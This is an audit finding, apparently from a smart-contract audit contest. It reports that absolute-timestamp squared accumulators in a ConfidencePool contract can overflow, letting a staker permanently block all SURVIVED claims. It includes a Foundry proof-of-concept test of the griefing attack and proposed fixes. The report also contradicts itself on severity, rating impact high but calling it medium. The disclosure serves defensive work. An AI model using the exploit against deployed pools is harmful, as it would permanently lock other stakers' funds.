FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Absolute-timestamp squared accumulators let an accepted stake permanently brick SURVIVED claims

Author Revealed upon completion

Root + Impact

Description

ConfidencePool stores the first and second absolute-time moments of every stake and later expands
amount * (T - entry)^2 as:

T^2 * amount - 2 * T * (amount * entry) + amount * entry^2

All three moment terms are ordinary checked uint256 multiplications. A stake can be accepted at
its earlier entry time, and the global accumulator can still be reset successfully when the risk
window opens, yet T^2 * snapshotTotalStaked can overflow at the later terminal time. Once a
nonzero bonus exists, every SURVIVED claim evaluates this denominator and reverts. The clone is
non-upgradeable, PRODUCTION is terminal, and sweepUnclaimedBonus() reserves all unclaimed
principal and bonus, so the funds remain permanently locked.

Root Cause

At stake time, stake()
records:

uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;

When risk is first observed, _markRiskWindowStart()
resets the global moments:

sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;

Finally, every bonus-bearing claim reaches _bonusShare():

uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;

For an entry timestamp t_entry and later terminal timestamp T, the nonempty interval

type(uint256).max / T^2 < amount <= type(uint256).max / t_entry^2

contains amounts which stake() accepts but which later overflow in _bonusShare(). The PoC also
chooses the amount so the intermediate risk-window reset remains safe.

This is within the published token compatibility. The repository supports standard ERC20 tokens
and excludes only fee-on-transfer and rebasing behavior. ERC-20 defines decimals() as uint8
and totalSupply() as uint256; it does not impose an 18-decimal or smaller-supply bound. The PoC
uses an otherwise standard OpenZeppelin ERC20 with 60 decimals:

  • configured minimum stake: 1e55 raw = 0.00001 token;

  • attacker stake: approximately 3.7694e58 raw = 0.037694 token;

  • honest stake: approximately 5.5869e55 raw = 0.00005587 token;

  • bonus: 1e60 raw = 1 token.

The token must be allowlisted, but no administrator needs to violate the published compatibility
assumptions: the asset has no transfer fee, rebasing, callback, blacklist, or nonstandard transfer
behavior.

Risk

Likelihood: Low. Exploitation requires an allowlisted ERC20 with unusually high decimals or supply, but no privileged action or non-standard transfer behavior once the token is allowlisted.

Impact: High.

An unprivileged staker can permanently deny all SURVIVED payouts for one pool. The attacker also
locks their own stake, so this is griefing rather than theft, but the PoC locks a one-token bonus
with roughly 0.0377 token of attacker principal, in addition to every honest principal position.

The condition snapshotTotalBonus != 0 is not a barrier: contributeBonus() is permissionless and
even one raw unit bypasses the early return in _bonusShare().

The lock is permanent in the demonstrated state:

  • every honest claim uses the same overflowing global denominator;

  • the attacker's own claim also overflows;

  • the terminal PRODUCTION state cannot be reflagged CORRUPTED;

  • pool clones are non-upgradeable;

  • sweepUnclaimedBonus() computes the whole balance as reserved and reverts NothingToSweep.

Medium is appropriate because the impact is permanent loss of availability for all funds in the
affected pool, while exploitation depends on a peculiar but explicitly supported high-decimal or
high-supply ERC20.

Proof of Concept

Save the following as test/audit/AccumulatorOverflow.t.sol and run:

forge test --match-contract AccumulatorOverflowPoC -vvv
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {stdError} from "forge-std/Test.sol";
contract HighDecimalERC20 is MockERC20 {
function decimals() public pure override returns (uint8) {
return 60;
}
}
contract AccumulatorOverflowPoC is BaseConfidencePoolTest {
uint256 internal constant TOKEN_ONE = 1e60;
uint256 internal constant REALISTIC_MIN_STAKE = 1e55;
function setUp() public override {
super.setUp();
token = new HighDecimalERC20();
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
pool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
REALISTIC_MIN_STAKE,
recovery,
address(this),
_defaultScope()
);
}
function testAcceptedStakePermanentlyBlocksEverySurvivedClaim() external {
uint256 riskTime = block.timestamp + 1 days;
uint256 terminalTime = pool.expiry() - 1;
uint256 amount = type(uint256).max / (terminalTime * terminalTime) + 1;
uint256 riskSafeMax = type(uint256).max / (riskTime * riskTime);
uint256 honestStake = (riskSafeMax - amount) / 2;
assertGt(honestStake, pool.minStake());
assertLt(amount, TOKEN_ONE);
_stakeRaw(alice, amount);
_stakeRaw(bob, honestStake);
_contributeBonus(carol, TOKEN_ONE);
vm.warp(riskTime);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(terminalTime);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// Bob's own score is small; the global denominator still overflows.
vm.prank(bob);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
assertFalse(pool.claimsStarted());
assertEq(token.balanceOf(address(pool)), amount + honestStake + TOKEN_ONE);
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
}
}

Expected result:

[PASS] testAcceptedStakePermanentlyBlocksEverySurvivedClaim()

The full local PoC also demonstrates the earlier liveness manifestation where a stake accepted at
t_entry later overflows _markRiskWindowStart(). That secondary case is not required for the
permanent SURVIVED lock above.

Recommended Mitigation

Do not retain or expand absolute Unix-timestamp moments without an explicit numerical bound.
Possible fixes are:

  1. Express entry and terminal times relative to a pool-local origin, then maintain the first and
    second moments of those bounded deltas.

  2. Enforce, at every stake, a documented upper bound on totalEligibleStake derived from the
    worst-case expiry and every intermediate addition, not only the final Math.mulDiv.

  3. Add boundary tests at floor(type(uint256).max / T^2) and immediately above it for both
    _markRiskWindowStart() and _bonusShare().

Using Math.mulDiv only for the final bonus multiplication is insufficient because the moment
expansion has already overflowed before Math.mulDiv is reached.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!